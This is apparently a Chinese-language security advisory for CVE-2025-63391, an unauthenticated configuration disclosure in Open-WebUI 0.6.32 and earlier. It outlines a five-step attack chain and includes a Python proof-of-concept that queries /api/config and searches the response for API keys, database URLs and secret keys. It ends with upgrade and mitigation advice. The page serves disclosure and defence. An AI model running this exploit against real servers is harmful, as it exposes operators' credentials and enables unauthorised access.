IPBUF安全漏洞报告
English
CVE-2025-63391 CVSS 7.5 高危

CVE-2025-63391 Open-WebUI /api/config身份认证绕过漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-63391
漏洞类型
身份认证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open-WebUI

相关标签

身份认证绕过CVE-2025-63391Open-WebUIAPI安全敏感信息泄露高危漏洞无认证访问

漏洞概述

CVE-2025-63391是Open-WebUI 0.6.32及之前版本中的一个高危身份认证绕过漏洞。该漏洞存在于Web应用的/api/config端点,由于该端点缺少适当的身份认证和授权控制机制,导致未经授权的远程攻击者可以直接访问该接口,获取敏感的系统和配置信息。这些信息可能包括数据库连接凭证、API密钥、模型配置、内部路径结构等关键数据。攻击者利用这些信息可进一步发起更大规模的网络攻击,如数据窃取、权限提升或横向移动。该漏洞无需任何用户交互,攻击复杂度低,对机密性影响严重。

技术细节

Open-WebUI是一个流行的开源Web用户界面框架,用于与大型语言模型(LLM)进行交互。在0.6.32及之前版本中,/api/config接口存在严重的访问控制缺陷。该接口本应仅允许已认证的管理员用户访问,但实际上对所有请求都返回配置数据,无需任何身份验证token或会话cookie。攻击者可通过构造简单的HTTP GET请求访问该端点:GET /api/config,即可获取包含以下敏感信息的JSON响应:数据库连接字符串、OpenAI API密钥配置、本地模型路径、认证密钥、盐值、LDAP/Active Directory配置、SMTP邮件服务器配置等。攻击者获取这些凭证后可冒充合法用户或管理员,执行未授权操作或窃取敏感数据。

攻击链分析

STEP 1
步骤1: 侦察和信息收集
攻击者识别目标是否运行Open-WebUI服务,可通过HTTP响应头、页面特征或robots.txt文件确认
STEP 2
步骤2: 构造恶意请求
攻击者构造针对/api/config端点的HTTP GET请求,无需携带任何认证token或cookies
STEP 3
步骤3: 利用认证绕过漏洞
发送请求到目标服务器,由于端点缺少访问控制,请求将被成功处理并返回配置数据
STEP 4
步骤4: 提取敏感信息
解析返回的JSON响应,提取数据库凭证、API密钥、认证密钥等敏感配置信息
STEP 5
步骤5: 横向移动或数据窃取
利用获取的凭证访问后端数据库、调用付费API服务或冒充管理员执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-63391 PoC - Open-WebUI Authentication Bypass # Target: Open-WebUI <= 0.6.32 # Endpoint: /api/config target_url = input("Enter target URL (e.g., http://target.com): ").strip() if not target_url.endswith('/'): target_url += '/' endpoint = "api/config" full_url = target_url + endpoint print(f"[*] Target URL: {full_url}") print(f"[*] Exploiting CVE-2025-63391...") headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "application/json" } try: response = requests.get(full_url, headers=headers, timeout=10, verify=False) print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: data = response.json() print(f"[+] SUCCESS: Authentication bypassed!") print(f"[+] Received {len(json.dumps(data))} bytes of configuration data") print("\n[+] Configuration Data:") print(json.dumps(data, indent=2)) # Extract potentially sensitive fields sensitive_fields = ['OPENAI_API_KEY', 'DATABASE_URL', 'WEBUI_AUTH_SECRET', 'LDAP', 'SMTP', 'API_KEY', 'SECRET_KEY'] print("\n[+] Sensitive Information Found:") for field in sensitive_fields: if field.upper() in str(data).upper(): print(f" - {field}: <REDACTED>") else: print(f"[-] Failed: Status code {response.status_code}") print(f"[-] Response: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

影响范围

Open-WebUI <= 0.6.32

防御指南

临时缓解措施
立即将Open-WebUI升级到0.6.33或最新稳定版本。在升级前,可通过配置Web服务器(如Nginx)添加基于IP的访问限制,或使用反向代理添加临时的认证层。同时建议检查是否有异常的配置访问日志,并轮换可能泄露的API密钥和数据库凭证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表